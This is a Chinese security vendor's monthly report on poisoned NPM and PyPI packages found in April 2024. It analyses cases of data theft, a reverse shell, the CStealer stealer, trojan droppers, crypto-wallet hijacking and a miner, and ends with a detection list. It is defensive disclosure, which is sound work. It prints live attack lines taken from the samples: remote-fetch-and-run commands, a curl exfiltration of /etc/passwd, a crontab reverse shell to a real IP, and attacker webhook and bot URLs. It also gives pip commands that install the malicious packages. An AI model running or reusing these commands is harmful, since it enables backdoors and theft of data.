供应链投毒预警 | 开源供应链投毒202404月报发布(含投毒案例分析)

概述

悬镜供应链安全情报中心通过持续监测全网主流开源软件仓库,结合程序动静态分析方式对潜在风险的开源组件包进行动态跟踪和捕获,发现大量的开源组件恶意包投毒攻击事件。在2024年4月份,悬镜供应链安全情报中心在NPM官方仓库(https://www.npmjs.com/)和Pypi官方仓库(https://pypi.org/)上共捕获772个不同版本的恶意组件包,其中NPM仓库投毒占比接近89%, Pypi仓库投毒占比11%;Pypi官方仓库经历3月份遭受集中式投毒后,对新发布组件包进一步加强审查力度,本月Pypi恶意投毒攻击呈现大幅下降趋势。

4月份恶意组件数量及仓库分布

4月份恶意组件每日统计

4月份恶意组件态势统计

针对4月份捕获的恶意投毒组件,我们结合静态规则扫描、源代码审计、动态行为监控等方式进行多方位分析,总结统计投毒组件的攻击方式和恶意行为标签。

攻击方式统计

投毒组件攻击方式主要包括:

恶意文件执行

恶意文件下载

代码混淆执行

恶意文件释放

Shell命令执行

其中,投毒者最常用的攻击方式依旧是恶意文件执行(84.25%),其攻击流程是利用开源组件包管理器中的自定义指令来执行隐藏在组件安装包中的恶意文件。此外,恶意文件远程下载执行(8.64%)、恶意代码混淆(4.81%)、恶意文件释放执行(1.2%)以及Shell命令执行(1.09%)都是攻击者惯用的投毒手段。

恶意行为统计

在4月份捕获的恶意投毒组件中,信息窃取攻击占比高达93%,其中系统基础信息、系统密码文件、系统日志、用户信息、网络配置、DNS服务器IP、浏览器Cookie及登录凭证等敏感信息是攻击者的主要窃取目标。值得关注的是,Pypi仓库发生多起CStealer窃密后门以及挖矿后门投毒;其次,通过远控木马和反向Shell后门进行远控投毒的攻击呈现逐步上涨趋势。相较于3月份,针对数字钱包应用的攻击有较大幅度减少。

投毒案例分析

本节将从4月份捕获的开源组件恶意包中选取部分具有代表性的投毒样本进行分析、还原投毒攻击细节。

PART.1系统信息外传

4月15~16号,攻击者在Pypi官方仓库发布多个包名为rhermann相关的恶意包(包括rhermann、rhermann-ct、rhermann-sdsm以及rhermann-sds)。这些恶意包具有相同的攻击代码以及相同的高版本号(99.0),可推断攻击者尝试进行包依赖混淆(Dependency Confusion)供应链投毒。

恶意代码直接植入在Python安装包setup.py中,当包管理器下载安装这些恶意Python包时,恶意代码优先触发执行。恶意代码主要负责收集并外传受害者系统的版本信息、主机名、用户名、本地网络配置、DNS解析配置、主机IP等敏感数据(如下图所示)。

收集到的系统敏感信息将被外传给攻击者控制的服务接口:https://pypi-index.org/process_data

该恶意域名pypi-index.org与Pypi官方域名相比具备一定迷惑性,注册时间为2024年4月10号。

截止目前,国内部分Python镜像源仍缓存这些恶意包,其Pypi官方包下载量为758次。

以rhermann为例,目前该恶意Py包仍可从国内主流Pypi镜像源(清华大学、腾讯云等)下载安装,因此潜在的受害者数量可能会更多。

以国内清华大学镜像源为例,可通过以下命令测试安装该恶意组件包。

pip3 install rhermann -i Simple Index

Part2 恶意设立了命令执行

4月2号,攻击者在NPM官方仓库发布包名为monopulips的恶意NPM组件。在组件安装包的模块描述文件package.json中,通过定义postinstall指令在安装过程中执行恶意bash命令。

​bash -c 'curl -sSL https://research20934i.sherlockshat007.workers.dev -o script.sh && chmod +x script.sh && ./script.sh && rm -f script.sh'

恶意bash命令通过curl从攻击者服务器(https://research20934i.sherlockshat007.workers.dev)拉取第二阶段恶意bash脚本(script.sh)受害者系统上执行。

第二阶段bash脚本内容如上所示,其内嵌了一段编码后(先base64编码再字符串反转)的bash脚本代码,进一步解码后获取第三阶段真实的恶意bash代码解码(如下所示),其主要目的是将系统密码文件/etc/passwd、bash历史文件~/.bash_history 外传到攻击者服务器(https://8b53a8d8a1c2.sherlockshat007.workers.dev)

curl -X POST -H "Hostname: $(hostname)" -H "packagetype: NPM" -H "Whoami: $(whoami)" -H "Pwd: $(pwd)" -d "Install Directory: \n $(ls -la) \n Security Groups: \n $(id) \n User Directory: \n $(ls ~)\n etc-passwd: \n $(cat /etc/passwd ) \n Installed NPM modules: \n $(npm ls)\n bash history: \n $(cat ~/.bash_history)" -H "secureforward: lksadf8q3elk39" -H "Content-Type: text/plain" https://8b53a8d8a1c2.sherlockshat007.workers.dev

此外在4月4号,我们在Pypi仓库捕获到的恶意Python包lyft-core(版本号999.3.9)通样也使用以上极为相似的恶意bash代码进行投毒攻击(如下所示)。

Part3 反向Shell后门

4月4~7号,投毒者在Pypi官方仓库投放2个伪装成知名Python UserAgent解析库(user-agents)的恶意包(user-agents-parser和user-agents-parsers),这两个恶意包内置了包含Linux反向Shell后门代码的Python模块user-agents。当安装这些恶意包时,恶意包会释放出后门user-agents模块,并替换掉受害者系统环境中原有user-agents模块,实现Python模块投毒。

以user-agents-parser为例,在2.2.2版本安装包中,user-agents/parsers.py在文件末尾包含恶意代码(如下图所示)。

__import__("os").system("(crontab -l > .tab ; echo "*/5 * * * * /bin/bash -c '/bin/bash -i >& /dev/tcp/95.179.177.74/1337 0>&1'" >> .tab ; crontab .tab ; rm .tab) > /dev/null 2>&1")

恶意代码通过linux crontab将反向Shell后门写入linux计划任务,尝试实现后门持久化。如果受害者系统为Linux系统,系统bash shell将反弹到投毒者服务器(95.179.177.74:1337)上,投毒者可对受害者系统进行远程Shell后门控制。

截止目前,这两个恶意Python包总下载量为904次。

以user-agents-parsers为例,目前该恶意Py包仍可从国内主流Pypi镜像源(清华大学、腾讯云等)下载安装。

以国内清华大学镜像源为例,可通过以下命令测试安装该恶意组件包。

pip3 install user-agents-parsers -i Simple Index

Part4 CStealer后门

4月25~26号, 悬镜供应链安全情报中心在Pypi官方仓库中捕获14个伪装http客户端开展CStealer窃密后门攻击的投毒包,涉及multiplerequests、multihttp以及multihttps。这些恶意包主要针对Windows平台Python开发者,恶意包在安装时会远程加载CStealer后门到受害者系统上执行,该后门会窃取受害者系统敏感信息、主流浏览器隐私数据、数字货币钱包应用数据以及系统屏幕截屏等。此外,后门还会尝试驻留Windows系统启动目录实现开机自启动。

以multihttps恶意包2.32.5版本为例,当Python开发者使用pip install从Pypi官方仓库或下游镜像源直接安装或依赖引用恶意组件包时,将触发执行Python安装包setup.py中第一阶段恶意代码(如下图所示)。

第一阶段恶意代码进一步从投毒者服务器上拉取第二阶段恶意代码并执行。

from urllib import requestpackage_url = "https://frvezdffvv.pythonanywhere.com/getpackage"package_name = request.urlopen(package_url).read()exec(base64.b64decode(package_name))

第二阶段恶意代码经过base64编码,如下所示:

Base64解码后还原出真实的第二阶段恶意代码,如下所示:

经代码分析后确认该恶意代码是github开源CStleaer后门项目的变种版本。

cstealer/cstealer.py at main · can-kat/cstealer · GitHub

该CStealer后门主要包括以下功能:

1. 收集系统敏感信息

2. 收集浏览器隐私数据

3. 收集数字钱包应用数据

4. 系统屏幕截屏

5. 开机自启动

关于CStealer后门详细分析可参考恶意Py包伪装HTTP组件开展CStealer窃密后门攻击

如下所示,CStealer后门窃取的敏感数据包括受害者系统的屏幕截屏都将发送到投毒者webhook接口上。

https://discord.com/api/webhooks/1232850034068951061/T9KYVDomdrducNo_ruHMwHqxePkIfSiKJumxUHggS82EhLTCviZT5F_JOiqVnnP9p6VW

截至目前,这些CStealer恶意Py包在Pypi官方仓库上已被下载超过2200次。

以multihttps为例,目前该恶意py包仍可从国内主流Pypi镜像源(清华大学、腾讯云等)下载安装。

以国内清华大学镜像源为例,可通过以下命令测试安装该恶意组件包。

pip3 install multihttps -i https://pypi.tuna.tsinghua.edu.cn/simple

Part5 恶意木马植入

4月15~18号,攻击者在NPM官方仓库发布包名为djs-log,版本号为1.1.0和1.1.1的恶意包,通过伪装成知名NPM discord组件discord.js(下图所示)进行恶意木马投毒攻击。

在组件安装包的模块描述文件package.json中,通过定义preinstall指令在安装过程中直接执行shell命令。

djs-log恶意包的index.js被混淆保护,混淆代码如下所示:

对混淆代码进行还原后(下图所示)可知,该恶意文件主要负责从discord CDN服务器拉取恶意木马文件Uninstall-Node.js.exe到系统中执行。

Uninstall-Node.js.exe在Virustotal上被3款杀毒引擎判定为恶意木马文件。

此外,对于 Python组件reqargs在官方Pypi上连续发布4个不同版本恶意包。该组件安装包的setup.py文件被植入远程下载执行木马文件的恶意代码(如下图所示)。

恶意代码从Dropbox服务器上下载新的木马程序windows.exe到受害者系统临时目录上执行。

b43e&hm=aaf95cda360017d5147699490bdb6a23597fbf29a42599b417011fbc40262018

该木马程序在virustotal上被多款杀毒引擎检出(如下图所示)。

Part6 数字钱包app窃密劫持

4月9号,攻击者在Pypi官方仓库投放包名为useragent-api的恶意包(涉及版本3.1.1、3.1.4及3.1.5)。在__init__.py中存在包含恶意代码的fetch_useragents函数接口(如下所示)。

第一阶段恶意代码采用字符串hex编码,解码后得出真实代码如下所示,通过远程拉取第二阶段恶意代码并执行。

import requests; exec(requests.get("https://rentry.co/9sdyip8p/raw").text)

第二阶段恶意代码内容如下所示:

第三阶段恶意代码采用PowerShell编写,并通过base64编码,解码后为:

$pastebinURL = "https://rentry.co/7w5v9p4k/raw"; $code = Invoke-WebRequest -UseBasicParsing -Uri $pastebinURL | Select-Object -ExpandProperty Content; Invoke-Expression -Command $code

PowerShell代码会进一步从攻击者服务器拉取第四阶段PowerShell代码(https://rentry.co/7w5v9p4k/raw)并执行,该PowerShell恶意代码主要包含5大功能:

1.收集用户口令数据

2.收集数字钱包应用数据

3.篡改劫持数字钱包应用

4.系统屏幕截屏

5.数据外传

收集用户口令数据

根据内置关键字匹配规则(如下如所示),收集所有命中匹配敏感关键字(数字钱包助记词、数字钱包登录口令、账户私钥等)的文件。

收集数字钱包应用数据

针对主流数字钱包(Exodus、Electrum、Monero)的应用数据目录进行全量拷贝(如下所示)。

篡改劫持数字钱包应用

此外,恶意代码还会远程下载包含后门的app.asar文件,并尝试杀掉Exodus钱包应用进程后,使用恶意app.asar替换原有Exodus钱包app.asar文件,从而实现钱包应用程序的持久化劫持。

https://cloudflare-ipfs.com/ipfs/Qmed41NkN5P6T7uNb8dTTWE74gAcXzrsmzjY5FokecKgTD

系统屏幕截屏

如下所示,恶意代码还会调用PowerShell接口对受害者系统屏幕进行截屏操作并生成png图片。

数据外传

对于收集的数字钱包应用数据进行zip打包,最后将zip压缩包和系统截屏图片通过curl传输到攻击者远程服务接口(如下图所示)。

https://api.telegram.org/bot6435250964:AAGjL9ujzVRNrU2o23KcTFeUFwawogschE0

截至目前,该恶意Py包在Pypi官方仓库上已被下载860次。

Part 7挖矿后门

4月10号,投毒者通过伪装Python colorprint模块(下图所示)在Pypi官方仓库投放4个不同版本的恶意包(py-colorprinting),这些恶意包内置了静默下载执行数字货币挖矿后门的colorprint python模块。当安装这些恶意包时,恶意包会释放出colorprint后门模块,并替换掉受害者系统环境中原有colorprint模块,实现Python模块投毒。

以py-colorprinting 0.1.5版本为例,colorpr/__init__.py默认加载core.py,将触发执行包含恶意代码的InitializeConsole函数(如下图所示)。恶意代码启动线程从投毒者服务器上下载挖矿程序压缩包ore-miner.zip,解压ore-miner.zip后执行ORE币挖矿程序ore-miner.exe。

https://cosmoplanets.net/well-known/pki-validation/ore-miner.zip

ore-miner是基于Electron开发的挖矿客户端,整体程序结构如下所示:

投毒者使用的矿池地址为:

https://jupiter-frontend.rpcpool.comhttps://raydium-raydium-5ad5.mainnet.rpcpool.com

截止目前,该恶意Python包总下载量为864次。

目前该恶意Py包仍可从国内主流Pypi镜像源(清华大学、腾讯云等)下载安装。

以国内清华大学镜像源为例,可通过以下命令测试安装该恶意组件包。

pip3 install py-colorprinting -i https://pypi.tuna.tsinghua.edu.cn/simple

排查方式

针对本分析报告中的投毒样本,开发者可使用OpenSCA-cli,将受影响的组件包按如下示例保存为db.json文件(可参考总结中提到的组件包信息按格式增减),直接执行扫描命令(opensca-cli -db db.json -path ${project_path}),即可快速获知您的项目是否受到文中所披露的投毒包的影响。

[  {    "product": "monopulips",    "version": "[0.1.0, 0.1.5]",    "language": "javascript",    "id": "XMIRROR-MAL45-31C14E5C",    "description": "NPM组件monopulips存在恶意代码,远程下载恶意bash命令执行。",    "release_date": "2024-04-02"  },  {    "product": "lyft-core",    "version": "[999.3.9]",    "language": "python",    "id": "XMIRROR-MALF5-C41B3019",    "description": "Python组件lyft-core存在恶意代码,执行恶意bash命令执行。",    "release_date": "2024-04-04"  },  {    "product": "user-agents-parsers",    "version": "[2.2.1]",    "language": "python",    "id": "XMIRROR-MAL45-A43ABEDD",    "description": "Python组件user-agents-parsers存在恶意代码,利用反向shell后门攻击Linux系统开发者。",    "release_date": "2024-04-04"  },  {    "product": "user-agents-parser",    "version": "[2.2.2, 2.2.3]",    "language": "python",    "id": "XMIRROR-MAL45-38C6CDD2",    "description": "Python组件user-agents-parser存在恶意代码,利用反向shell后门攻击Linux系统开发者。",    "release_date": "2024-04-07"  },  {    "product": "useragent-api",    "version": "[3.1.1, 3.1.4, 3.1.5]",    "language": "python",    "id": "XMIRROR-MAL45-DF933A23",    "description": "Python组件useragent-api存在恶意代码,劫持数字货币钱包应用。",    "release_date": "2024-04-09"  },  {    "product": "py-colorprinting",    "version": "[0.1.1, 0.1.2, 0.1.3, 0.1.5]",    "language": "python",    "id": "XMIRROR-MAL45-62B107C3",    "description": "Python组件py-colorprinting存在恶意代码,远程下载并执行挖矿后门。",    "release_date": "2024-04-10"  },  {    "product": "rhermann-sds",    "version": "[99.0]",    "language": "python",    "id": "XMIRROR-MAL45-CC99C1A2",    "description": "Python组件requests-http存在恶意代码,窃取系统敏感信息。",    "release_date": "2024-04-15"  },  {    "product": "rhermann-ct",    "version": "[99.0]",    "language": "python",    "id": "XMIRROR-MAL45-10EEFB21",    "description": "Python组件rhermann-ct存在恶意代码,窃取系统敏感信息。",    "release_date": "2024-04-15"  },  {    "product": "rhermann",    "version": "[99.0]",    "language": "python",    "id": "XMIRROR-MAL45-7BFF9F62",    "description": "Python组件rhermann存在恶意代码,窃取系统敏感信息。",    "release_date": "2024-04-16"  },  {    "product": "rhermann-sdsm",    "version": "[99.0]",    "language": "python",    "id": "XMIRROR-MAL45-208AAF32",    "description": "Python组件rhermann-sdsm存在恶意代码,窃取系统敏感信息。",    "release_date": "2024-04-16"  },  {    "product": "djs-log",    "version": "[1.1.0, 1.1.1]",    "language": "javascript",    "id": "XMIRROR-MAL45-579E44E0",    "description": "NPM组件djs-log存在恶意代码,远程下载并执行恶意木马程序。",    "release_date": "2024-04-19"  },  {    "product": "multiplerequests",    "version": "[2.31.0, 2.31.1, 2.31.2, 2.31.3, 2.31.4, 2.31.5]",    "language": "python",    "id": "XMIRROR-MAL45-7DF79312",    "description": "Python组件multiplerequests存在恶意代码,利用CStealer窃密后门盗取系统敏感数据。",    "release_date": "2024-04-24"  },  {    "product": "multihttp",    "version": "[2.31.12]",    "language": "python",    "id": "XMIRROR-MAL45-B1487A8",    "description": "Python组件multihttp存在恶意代码,利用CStealer窃密后门盗取系统敏感数据。",    "release_date": "2024-04-26"  },  {    "product": "multihttps",    "version": "[2.31.11]",    "language": "python",    "id": "XMIRROR-MAL45-14D9F4B5",    "description": "Python组件multihttps存在恶意代码,利用CStealer窃密后门盗取系统敏感数据。",    "release_date": "2024-04-26"  }]​

总结

根据2024年4月份捕获的开源组件投毒统计数据以及分析报告来看,投毒攻击手法和目标呈现多样化趋势。NPM仓库依旧是投毒攻击的重点目标,敏感数据窃取仍是主流攻击,此外,针对数字钱包应用的劫持攻击以及挖矿后门投毒攻击也日趋严重。

悬镜供应链安全情报中心是国内首个数字供应链安全情报研究中心,依托悬镜安全团队强大的供应链SBOM管理与监测能力和AI安全大数据云端分析能力,对全球数字供应链安全漏洞、投毒事件、组件风险等进行实时动态监测与溯源分析,为用户智能精准预警“与我有关”的数字供应链安全情报。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/632674.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

翻译《The Old New Thing》- Stupid debugger tricks: Calling functions and methods

Stupid debugger tricks: Calling functions and methods - The Old New Thing (microsoft.com)https://devblogs.microsoft.com/oldnewthing/20070427-00/?p27083 Raymond Chen 2007年04月27日 一个比较笨的调试技巧:调用函数和方法 在过去,如果你想在…

css+html 爱心❤

效果 代码实现 html <div class"main"><div class"aixin"></div></div>css .main {transform: rotate(-45deg);}.aixin {height: 100px;width: 100px;background-color: red;margin: auto;margin-top: 200px;position: relativ…

给app引导页说goodbye吧,皮之不存,毛将焉附。

有几个原因导致大部分创业者选择不开发独立的移动应用程序&#xff08;App&#xff09;&#xff1a; 成本和资源&#xff1a;开发和维护一个独立的移动应用程序需要投入大量的时间、资金和人力资源。对于创业公司来说&#xff0c;他们可能没有足够的资源来支持这样的开发和维护…

大数据性能测试怎么做?看完这篇终于懂了!

大数据性能测试的目的 1.大数据组件的性能回归&#xff0c;在版本升级的时候&#xff0c;进行新旧版本的性能比对。 2.在新版本/新的生产环境发布之后获取性能基线&#xff0c;建立可度量的参考标准&#xff0c;为其他测试场景或者调优过程提供对比参考。 3.在众多的发行版本…

【好书推荐-第十六期】《 LangChain技术解密:构建大模型应用的全景指南》(Github 6800+示例!)

&#x1f60e; 作者介绍&#xff1a;我是程序员洲洲&#xff0c;一个热爱写作的非著名程序员。CSDN全栈优质领域创作者、华为云博客社区云享专家、阿里云博客社区专家博主、前后端开发、人工智能研究生。公众号&#xff1a;洲与AI。 &#x1f388; 本文专栏&#xff1a;本文收录…

【Flask 系统教程 6】进阶操作

Flask操作cookie 在 Flask 中操作 Cookie 是相对简单的。Cookie 是一种存储在用户计算机上的小型数据片段&#xff0c;由服务器发送到用户浏览器&#xff0c;然后在每次请求时由浏览器发送回服务器。在 Flask 中&#xff0c;你可以使用 request 对象来读取 cookie&#xff0c;…

【Maven】简介_下载安装

1.maven简介 项目管理工具项目对象模型 project object model (POM) 一个项目&#xff1a;清理、编译、测试、打包、发布、部署 1.1 为什么需要使用maven 组装机和品牌机的概念IDE &#xff08;集成开发环境&#xff09;不是万能的依赖大量的手工操作&#xff0c;编译、测试、…

npm install [Error]

npm install 依赖的时候报错 依赖版本问题的冲突&#xff0c;忽视即可 使用 npm install --legacy-peer-deps

个人写表格辅助软件

该软件作用 Excel 的辅助&#xff0c;可以执行excel不方便的操作&#xff0c;从excel复制数据到软件进行操作又复制回Excel。 下载软件地址 ,大小&#xff1a;65kb 点击下载 完整UI 列操作 右键单击列名弹出菜单 单元格操作 右键单击单元格弹出菜单 导航模式 每个操作都可以…

如何给实拍添加旋转模糊效果?视频模糊特效PR模板剪辑素材

PR特效模板&#xff0c;高级旋转模糊效果视频模板剪辑素材。 特征&#xff1a; After Effects 2019及以上兼容项目。 Premiere Pro 2021及以上兼容项目。 可用分辨率&#xff08;4K–HD–方形–移动&#xff09;。 不需要插件。 包括教程。 免费下载&#xff1a;https://prmu…

什么是电表智能抄表?

1.什么叫电表智能抄表 电表智能抄表&#xff0c;又被称为全自动读表系统&#xff0c;是一种利用通信网技术&#xff0c;如wifi网络、物联网技术或通信网络&#xff0c;全自动收集解决电能消耗数据信息的软件。与传统手动式抄水表方式相比&#xff0c;它大大提高了高效率&#…

Hadoop大数据应用技术复习题分析

文章目录 复习一一. 单选题二. 多选题三. 填空题 复习三一. 单选题 复习一 一. 单选题 (单选题)压缩速度由大到小snappy、LZO、gzip、bzip2&#xff0c;压缩比最大的是 A. snappy B. LZO C. gzip D. zip2 正确答案: D:zip2; 答案解析&#xff1a; 压缩率&#xff1a;zip2>…

Jenkins使用目录挂载实现自定义node版本

场景&#xff1a;研发同事需要一个指定版本的npm环境&#xff0c;但是现在使用的是docker部署的jenkins&#xff0c;在不新构建jenkins镜像的前提下&#xff0c;选择挂载方式解决。 1.下载nodejs 16版本的nodesource-nodejs.repo仓库脚本 cd /etc/yum.repos.d/ curl -sL http…

【Linux】Udp_Tcp协议

欢迎来到Cefler的博客&#x1f601; &#x1f54c;博客主页&#xff1a;折纸花满衣 &#x1f3e0;个人专栏&#xff1a;Linux 目录 &#x1f449;&#x1f3fb;再谈端口号pidof命令 &#x1f449;&#x1f3fb;UDP协议报文的管理基于UDP协议的应用层协议 &#x1f449;&#x1…

mysql 多表关联执行计划 mysql 多表关联优化

desc SELECT * FROM expense_application a left join expense_application_detail b on a.order_no b.order_no LIMIT 10; 和 explain SELECT * FROM expense_application a left join expense_application_detail b on a.order_no b.order_no LIMIT 10; 这两种写法是一样…

持续拥抱鲲鹏生态 星辰天合深化信创存储能力

近日&#xff0c;鲲鹏昇腾开发者大会与广电五舟“2024 智算中国行”北京站陆续召开&#xff0c;星辰天合持续拥抱鲲鹏生态&#xff0c;以重要的合作伙伴身份受邀参加&#xff0c;并在鲲鹏昇腾开发者大会上荣获“甄选解决方案最佳应用软件奖”&#xff0c;在广电五舟“2024 智算…

C++学习~~string类

1.STL简单介绍 &#xff08;1&#xff09;标准模版库&#xff0c;是C里面的标准库的一部分&#xff0c;C标准库里面还有其他的东西&#xff0c;但是我们不经常使用&#xff0c;我们经常使用的还是STL这个标准库部分。 &#xff08;2&#xff09;六大件&#xff1a;仿函数&…

Microsoft Threat Modeling Tool 使用(三)

Boundary&#xff08;边界&#xff09; 本文介绍信任边界&#xff0c;基于 SDL TM Knowledge Base (Core) 模版&#xff0c;这是一个通用的威胁建模模板&#xff0c;非常适合初学者和大多数威胁建模需求。 这些边界&#xff08;Boundary&#xff09;在微软威胁建模工具中用于表…

如何重启Windows系统上的Mysql服务

很久很久之前&#xff0c;我想把我的一台windows笔记本当比服务使用&#xff0c;当时还没有搞wsl, 试了vmware在局域网内总是断连。然后就直接在 windows系统上装了一个 windows版本的Mysql81。 有一天需要修改最大连接数&#xff0c; 费了挺大的劲终于找到了配置文件 my.ini…

在云服务器上运行StyleGAN3生成伪样本

首先是传入数据&#xff0c;这里我们不做赘述。 对于数据格式的裁剪&#xff0c;可以通过以下代码进行&#xff1a; from glob import glob from PIL import Image import os from tqdm import tqdm from tqdm.std import trangeimg_path glob(r"C:\Users\Administrato…